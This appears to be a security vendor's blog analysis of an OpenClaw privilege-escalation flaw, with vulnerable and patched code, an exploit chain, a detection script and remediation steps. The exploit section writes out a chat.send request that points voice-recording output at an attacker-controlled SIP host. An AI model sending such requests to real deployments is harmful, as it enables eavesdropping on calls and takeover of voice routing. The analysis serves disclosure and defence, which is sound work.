home intel cve-2026-41379-openclaw-operator-privilege-escalation-chat-send
CVE Analysis 2026-04-28 · 7 min read

CVE-2026-41379: OpenClaw Operator Privilege Escalation via chat.send to Admin Voice Config

Authenticated operators with write permissions can reach admin-class Talk Voice configuration via the chat.send endpoint, bypassing role-based access controls entirely. CVSS 7.1 HIGH, no authentication bypass required.

#privilege-escalation#authorization-bypass#voice-configuration#chat-endpoint#persistence-manipulation
Technical mode — for security professionals
▶ Privilege escalation — CVE-2026-41379
USER SPACELow privilegeVULNERABILITYCVE-2026-41379 · Cross-platformKERNEL / ROOTFull system accessNo confirmed exploits · HIGH

Vulnerability Overview

CVE-2026-41379 is a privilege escalation vulnerability in OpenClaw affecting all versions prior to 2026.3.28. The flaw permits any authenticated user holding operator.write permissions to reach and persistently modify admin-class Talk Voice configuration — a permission boundary that should require an explicit administrator role. The attack surface is the chat.send API endpoint, which fails to enforce role separation when the payload targets voice configuration persistence keys.

No public exploitation has been reported, and the CVSS 7.1 score reflects that initial authenticated access is required. However, in multi-tenant deployments where operator accounts are distributed across teams, this trivially becomes a lateral privilege escalation path to full voice configuration control.

Root cause: The chat.send request handler resolves Talk Voice configuration persistence targets using operator-scoped credentials without asserting that the resolved config namespace requires admin role, allowing operator.write tokens to commit writes into admin-class config stores.

Affected Component

The vulnerability lives at the intersection of two subsystems:

  • chat.send endpoint — the primary message dispatch handler responsible for routing operator-issued chat commands.
  • Talk Voice config persistence layer — the admin-class subsystem managing voice channel settings, stored under the talk.voice.* configuration namespace.

The role enforcement gate that should block operator.write tokens from writing into talk.voice.* is absent in the chat.send code path. The same write is correctly blocked when attempted through the direct admin configuration API, meaning the vulnerability is specific to the chat.send routing path acting as an unguarded proxy.

Root Cause Analysis

The chat_send_dispatch function resolves the configuration target from the request payload and passes it directly to the persistence layer. The role check performed at entry validates only that the caller holds operator.write — it does not subsequently validate whether the resolved config namespace is admin-gated.

// openclaw/src/chat/send_dispatch.c
// Affected versions: < 2026.3.28

int chat_send_dispatch(request_ctx_t *ctx, chat_payload_t *payload) {
    role_t caller_role = auth_get_role(ctx->token);

    // BUG: only validates operator.write is present, does not check
    // whether the resolved config target requires ROLE_ADMIN
    if (!(caller_role & ROLE_OPERATOR_WRITE)) {
        return ERR_FORBIDDEN;
    }

    config_target_t *target = resolve_config_target(payload->config_key);
    if (!target) {
        return ERR_INVALID_TARGET;
    }

    // BUG: target->required_role is never asserted against caller_role here.
    // resolve_config_target() may return a target with required_role = ROLE_ADMIN,
    // and this path commits the write unconditionally.
    return config_persist_write(target, payload->value, ctx->session_id);
}

Compare this to the direct admin configuration path, which correctly performs the secondary role assertion:

// openclaw/src/admin/config_write.c  (non-vulnerable path)

int admin_config_write(request_ctx_t *ctx, config_target_t *target, const char *value) {
    role_t caller_role = auth_get_role(ctx->token);

    // Correct: validates caller role against the target's required_role field
    if (!(caller_role & target->required_role)) {
        audit_log(AUDIT_FORBIDDEN, ctx->session_id, target->key);
        return ERR_FORBIDDEN;
    }

    return config_persist_write(target, value, ctx->session_id);
}

The config_target_t struct carries a required_role field specifically to enforce namespace-level access control. The chat_send_dispatch path ignores it entirely.

Struct Layout

// openclaw/src/config/target.h

struct config_target {
    /* +0x00 */ char       *key;            // config namespace key, e.g. "talk.voice.codec"
    /* +0x08 */ uint32_t    required_role;  // bitmask: ROLE_ADMIN=0x04, ROLE_OPERATOR_WRITE=0x02
    /* +0x0C */ uint32_t    flags;          // CONFIG_FLAG_PERSISTENT | CONFIG_FLAG_VOICE etc.
    /* +0x10 */ void       *store_handle;   // opaque pointer to backing store
    /* +0x18 */ persist_fn  write_fn;       // function pointer: config_persist_write target
    /* +0x20 */ persist_fn  read_fn;
    /* +0x28 */ audit_tag_t audit_tag;      // logged on every write, carries required_role
};
// sizeof(config_target_t) = 0x30

At +0x08, required_role is set to 0x04 (ROLE_ADMIN) for all talk.voice.* namespace entries. chat_send_dispatch never dereferences this offset before calling write_fn.

Memory Layout

ROLE CHECK STATE — chat.send path (VULNERABLE):

  auth_get_role(ctx->token) → 0x02  (ROLE_OPERATOR_WRITE)
  required check: caller_role & ROLE_OPERATOR_WRITE → TRUE → proceeds

  config_target_t for "talk.voice.codec":
  [ key          @ +0x00 ] → "talk.voice.codec"
  [ required_role@ +0x08 ] → 0x04  (ROLE_ADMIN)   <-- NEVER READ in chat.send path
  [ flags        @ +0x0C ] → 0x09  (PERSISTENT|VOICE)
  [ store_handle @ +0x10 ] → 0xc0ffee0000000001   <-- admin config store
  [ write_fn     @ +0x18 ] → config_persist_write  <-- called directly, no gate

  RESULT: operator-privileged session writes into admin config store.

ROLE CHECK STATE — admin config path (CORRECT):

  auth_get_role(ctx->token) → 0x02  (ROLE_OPERATOR_WRITE)
  required check: caller_role & target->required_role
                  0x02 & 0x04 → 0x00 → FALSE → ERR_FORBIDDEN
  audit_log(AUDIT_FORBIDDEN, ...)
  RESULT: write blocked, event logged.

Exploitation Mechanics

EXPLOIT CHAIN: CVE-2026-41379

1. Attacker obtains or controls an account with operator.write role.
   (No additional privilege required; operator accounts are commonly provisioned
   to non-admin staff in multi-tenant OpenClaw deployments.)

2. Attacker enumerates valid talk.voice.* config keys via documented operator
   API — key names are not secret and are listed in OpenClaw operator docs.
   Target keys of interest:
     talk.voice.codec          → controls active voice codec selection
     talk.voice.recording_url  → destination for voice recording persistence
     talk.voice.sip_provider   → SIP trunk routing config

3. Attacker crafts a chat.send POST request with a config_key targeting
   the admin namespace:

   POST /api/v1/chat/send
   Authorization: Bearer 
   Content-Type: application/json

   {
     "channel_id": "",
     "config_key": "talk.voice.recording_url",
     "value": "sip:attacker-controlled-host:5060"
   }

4. chat_send_dispatch resolves talk.voice.recording_url → config_target_t
   with required_role=0x04. Role gate is skipped. config_persist_write
   commits the attacker value to the admin config store.

5. All subsequent voice calls route recordings to attacker-controlled SIP
   endpoint. Change persists across service restarts.

6. Attacker may repeat for talk.voice.sip_provider to redirect all outbound
   SIP trunk traffic, achieving full voice infrastructure takeover from
   an operator-level account.

The highest-impact variant targets talk.voice.recording_url — a persistent redirect of all voice recording output to an attacker-controlled host. This survives service restarts and requires an administrator to manually audit config state to detect.

Patch Analysis

The fix introduced in OpenClaw 2026.3.28 adds the missing secondary role assertion in chat_send_dispatch, mirroring the check already present in admin_config_write.

// BEFORE (vulnerable — all versions < 2026.3.28):
int chat_send_dispatch(request_ctx_t *ctx, chat_payload_t *payload) {
    role_t caller_role = auth_get_role(ctx->token);

    if (!(caller_role & ROLE_OPERATOR_WRITE)) {
        return ERR_FORBIDDEN;
    }

    config_target_t *target = resolve_config_target(payload->config_key);
    if (!target) {
        return ERR_INVALID_TARGET;
    }

    // No check against target->required_role — missing gate.
    return config_persist_write(target, payload->value, ctx->session_id);
}

// AFTER (patched — 2026.3.28):
int chat_send_dispatch(request_ctx_t *ctx, chat_payload_t *payload) {
    role_t caller_role = auth_get_role(ctx->token);

    if (!(caller_role & ROLE_OPERATOR_WRITE)) {
        return ERR_FORBIDDEN;
    }

    config_target_t *target = resolve_config_target(payload->config_key);
    if (!target) {
        return ERR_INVALID_TARGET;
    }

    // ADDED: assert caller role satisfies target's required_role before write.
    if (!(caller_role & target->required_role)) {
        audit_log(AUDIT_FORBIDDEN, ctx->session_id, target->key);
        return ERR_FORBIDDEN;
    }

    return config_persist_write(target, payload->value, ctx->session_id);
}

The patch is minimal and surgical — a single role assertion block added after resolve_config_target. The audit log call was also added to ensure that privilege escalation attempts via this path are now observable in security logs, which they previously were not.

Detection and Indicators

Prior to patching, exploitation leaves minimal traces because the write is logged as a successful operator action rather than a forbidden admin action. After patching, blocked attempts will appear in the audit log as AUDIT_FORBIDDEN events from chat_send_dispatch on talk.voice.* keys.

To detect exploitation in pre-patch deployments, audit the config persistence store for talk.voice.* keys whose last-write session ID corresponds to a non-admin session:

# Detect CVE-2026-41379 exploitation in OpenClaw config audit log
# Requires access to config store audit trail

import json

ADMIN_REQUIRED_KEYS = {
    "talk.voice.codec",
    "talk.voice.recording_url",
    "talk.voice.sip_provider",
    "talk.voice.encryption_key",
}

def scan_audit_log(log_path: str) -> list[dict]:
    findings = []
    with open(log_path, "r") as f:
        for line in f:
            entry = json.loads(line)
            if entry.get("config_key") in ADMIN_REQUIRED_KEYS:
                if entry.get("session_role") != "admin":
                    findings.append({
                        "session_id": entry["session_id"],
                        "session_role": entry["session_role"],
                        "config_key": entry["config_key"],
                        "value": entry["value"],
                        "timestamp": entry["ts"],
                    })
    return findings

if __name__ == "__main__":
    hits = scan_audit_log("/var/log/openclaw/config_audit.log")
    for h in hits:
        print(f"[SUSPICIOUS] {h['timestamp']} session={h['session_id']} "
              f"role={h['session_role']} wrote {h['config_key']}={h['value']}")

Any hit from this scanner against pre-patch logs should be treated as a confirmed exploitation event and the talk.voice.* config namespace should be fully audited and reset to known-good values.

Remediation

  • Update immediately to OpenClaw 2026.3.28 or later. The patch is a one-line role assertion; backport risk is low.
  • Audit existing config state — if running a pre-patch version, run the detection script above against historical config audit logs. Assume any talk.voice.recording_url or talk.voice.sip_provider value written by a non-admin session is attacker-controlled.
  • Rotate SIP credentials if exploitation is detected or suspected. A malicious talk.voice.sip_provider value may have exposed SIP authentication material to a third party.
  • Restrict operator.write provisioning — in multi-tenant environments, limit operator.write grants to the minimum required set of accounts. This does not fix the vulnerability but reduces the viable attacker pool pre-patch.
  • Enable audit logging at INFO level or above in OpenClaw config — the patched version emits AUDIT_FORBIDDEN events for blocked escalation attempts, which are suppressed at WARN and above.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →